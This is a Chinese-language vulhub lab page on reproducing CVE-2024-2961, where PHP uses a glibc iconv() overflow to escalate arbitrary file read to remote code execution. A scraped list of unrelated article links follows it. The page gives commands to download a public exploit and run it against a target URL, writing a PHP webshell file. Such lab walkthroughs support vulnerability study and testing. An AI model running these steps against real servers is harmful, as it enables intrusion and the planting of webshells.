vulhub中PHP利用GNU C Iconv将文件读取变成RCE(CVE-2024-2961)

GNU C 是一个标准的ISO C依赖库。在GNU C中,iconv()函数2.39及以前存在一处缓冲区溢出漏洞,这可能会导致应用程序崩溃或覆盖相邻变量。

如果一个PHP应用中存在任意文件读取漏洞,攻击者可以利用`iconv()`的这个CVE-2024-2961漏洞,将其提升为代码执行漏洞。

漏洞复现

在使用原作者给出的[exploit](https://github.com/ambionics/cnext-exploits)前,你需要准备一个Linux环境和Python 3.10解释器。

安装依赖:

pip install pwntools

pip install https://github.com/cfreal/ten/archive/refs/heads/main.zip

然后从<https://raw.githubusercontent.com/ambionics/cnext-exploits/main/cnext-exploit.py\>下载POC并执行:

wget https://raw.githubusercontent.com/ambionics/cnext-exploits/main/cnext-exploit.py

python cnext-exploit.py http://your-ip:8080/index.php "echo '<?=phpinfo();?>' > shell.php"

已经成功写入shell.php:

相关推荐
Thomas_Cai8 分钟前
Python后端flask框架接收zip压缩包方法
开发语言·python·flask
霍先生的虚拟宇宙网络11 分钟前
webp 网页如何录屏?
开发语言·前端·javascript
温吞-ing13 分钟前
第十章JavaScript的应用
开发语言·javascript·ecmascript
魔道不误砍柴功19 分钟前
实际开发中的协变与逆变案例:数据处理流水线
java·开发语言
ö Constancy20 分钟前
Linux 使用gdb调试core文件
linux·c语言·vim
lb363636363621 分钟前
介绍一下strncmp(c基础)
c语言·知识点
wellnw25 分钟前
[linux] linux c实现共享内存读写操作
linux·c语言
鲤籽鲲27 分钟前
C# MethodTimer.Fody 使用详解
开发语言·c#·mfc
亚图跨际31 分钟前
Python和R荧光分光光度法
开发语言·python·r语言·荧光分光光度法
Rverdoser39 分钟前
RabbitMQ的基本概念和入门
开发语言·后端·ruby